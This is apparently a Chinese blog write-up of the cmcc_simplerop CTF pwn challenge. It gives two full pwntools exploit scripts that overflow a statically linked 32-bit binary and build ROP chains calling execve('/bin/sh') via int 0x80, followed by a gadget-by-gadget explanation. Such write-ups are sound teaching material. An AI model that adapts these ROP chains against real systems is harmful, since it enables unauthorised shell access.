cmcc_simplerop(系统调用)
打开ida查看,可以看到是静态编译,所以无法常规用ret2libc
此时可以用最简单的方法系统调用
首先ida上面的偏移量是错误的,我们手动用gdb算一下距离ebp为0x1c
因为要实现execve("/bin/sh",0,0)
找int 0x80,eax,ebx,ecx,edx
因为程序里面没有binsh或sh,所以我们得手动把binsh输入进去,也就是再次调用read函数,read(标准读入0,填入binsh的地址,读入八个字节),binsh的地址我们填入.bss段里面随意一个空白地址
其中调用read函数的时候需要将read的参数从栈中弹出,这样才能继续执行后续gadget。read函数有三个参数,因此直接复用后面要使用的pop_edx_ecx_ebx_ret达到我们的目的。
而最后将sendline('/bin/sh\x00')放在payload之后输入是有效的。'/bin/sh\x00'的保存位置在我们设置的bss段中,即binsh_addr的地址,程序在将payload输入之后又向缓冲区中输入了'/bin/sh\x00'。前者保存在栈空间中(因为是sendline),后者保存在服务器的缓冲区中等待read函数的执行。
exp1
from pwn import *
io = remote('node5.buuoj.cn',27051)
pop_edx_ecx_ebx_ret=0x0806e850
#execve("/bin/sh",NULL,NULL)
int_0x80=0x080493e1
pop_eax_ret=0x080bae06
binsh_bss=0x080EAF80
read=0x0806CD50
payload=b'a'*(0x1c+4)+p32(read)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(binsh_bss)+p32(8)
payload+=p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(binsh_bss)+p32(pop_eax_ret)+p32(11)+p32(int_0x80)
io.sendline(payload)
io.sendline(b'/bin/sh\x00')#调用了read,记得手动输入binsh
io.interactive()
这里还可以用ROPgadget来自动生成shellcode,不过因为自动生成的有点长,需要我们改掉一些
exp2
from pwn import *
from struct import pack
io = remote('node5.buuoj.cn',27051)
# Padding goes here
p = b'a'*(0x1c+4)
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
"""
p += pack('<I', 0x0806e82a) # pop edx ; ret
"""
p += pack('<I', 0x0806e850) # pop edx ; pop ecx ; pop ebx ; ret
"""
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
"""
p += p32(0x0)
p += p32(0x0)
p += pack('<I', 0x080ea060) # padding without overwrite ebx
"""
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
"""
p += pack('<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080493e1) # int 0x80
io.sendline(p)
io.interactive()
代码逐行解释
1. 构造 /bin/sh
字符串
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
pop edx ; ret
:从栈中弹出一个值到edx
寄存器。这里弹出的值是.data
段的地址(0x080ea060
)。pop eax ; ret
:从栈中弹出一个值到eax
寄存器。这里弹出的值是字符串/bin
的 ASCII 码。mov dword ptr [edx], eax ; ret
:将eax
的值(/bin
)写入edx
指向的地址(.data
段的起始位置)。
结果:在 .data
段的起始位置写入了 /bin
。
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '/sh\x00'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
pop edx ; ret
:从栈中弹出一个值到edx
寄存器。这里弹出的值是.data + 4
的地址(0x080ea064
)。pop eax ; ret
:从栈中弹出一个值到eax
寄存器。这里弹出的值是字符串/sh\x00
的 ASCII 码。mov dword ptr [edx], eax ; ret
:将eax
的值(/sh\x00
)写入edx
指向的地址(.data + 4
)。
结果:在 .data + 4
的位置写入了 /sh\x00
。
最终结果:在 .data
段构造了完整的字符串 /bin/sh\x00
。
2. 准备参数并调用 execve
p += pack('<I', 0x0806e850) # pop edx ; pop ecx ; pop ebx ; ret
p += p32(0x0)
p += p32(0x0)
p += pack('<I', 0x080ea060) # padding without overwrite ebx @data
pop edx ; pop ecx ; pop ebx ; ret
:从栈中弹出三个值,分别存入edx
、ecx
和ebx
寄存器。edx
被设置为0
(NULL
)。ecx
被设置为0
(NULL
)。ebx
被设置为.data
段的地址(0x080ea060
),指向/bin/sh
。
padding
:0x080ea060
是.data
段的地址,用于填充,避免覆盖ebx
的值。
p += pack('<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080493e1) # int 0x80
pop eax ; ret
:从栈中弹出一个值到eax
寄存器。这里弹出的值是0xb
,即execve
系统调用的编号。int 0x80
:触发系统调用,执行execve
。
系统调用参数:
eax
=0xb
(execve
系统调用编号)。ebx
=.data
段的地址(0x080ea060
),指向/bin/sh
。ecx
=NULL
(argv
参数)。edx
=NULL
(envp
参数)。
最终结果:调用 execve("/bin/sh", NULL, NULL)
,从而获取一个 shell。
总结
这段代码通过 ROP 构造了一个 /bin/sh
字符串,并准备了 execve
系统调用的参数,最终触发系统调用以获取 shell。每一步都利用了目标程序中的 gadgets 和 .data
段来完成任务。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)